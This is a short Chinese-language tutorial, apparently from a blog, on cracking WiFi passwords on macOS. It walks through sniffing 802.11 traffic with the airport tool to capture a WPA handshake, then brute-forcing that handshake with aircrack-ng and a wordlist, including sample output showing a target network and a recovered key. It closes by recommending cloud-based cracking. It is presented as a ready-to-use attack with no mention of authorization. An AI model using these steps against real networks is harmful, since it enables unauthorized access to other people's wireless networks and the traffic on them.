「wifi」airport工具破解wifi密码

airport 工具破解 wifi

工具

airport,shell

环境

macox,zsh

原理

无线网卡在监听模式下,窃取ap的握手包,将大量的无线信号保存为cap文件,将准备好的字典文件与cap里面的加密信息进行爆破,从而获取正确的密钥。

步骤

  • 安装airport

    $ brew install airport
    

    如果没有安装brew包管理工具,请自行安装。

  • 查询当前网络的设备名(我的en0),并执行以下命令

    $ sudo airport en0 sniff 6
      Capturing 802.11 frames on en0.
    

    $ ifconfig可以查看全部网络的设备名称。

  • 此时会进入到嗅探的过程,这个过程越长则获取握手包的成功率越高

  • 等待了几分钟,ctrl+c中断嗅探的过程

    此时的cap包已经生成,保存在/tmp/*.cap

  • 将cap文件重命名为1.cap,字典文件重命名为1.txt,仅仅是为了方便

  • 执行以下命令,找到enctryption列中的(1 handshake),表示已经嗅探到了握手包,可以爆破

    $ aircrack-ng -w 1.txt 1.cap
    ...
      21  C8:3A:35:02:68:68  beer                      WPA (1 handshake)
    ...  
    

    接下来会有一个输入的交互,意思是请输入要爆破的id,输入我们找到的那个序号(21)。

  • 接下来会进入到爆破阶段,等待匹配成功会找到破解的密码

    KEY FOUND! [ 19920706 ]

    本机跑包对电脑消耗比较大,建议用云跑包

你可能感兴趣的:(「wifi」airport工具破解wifi密码)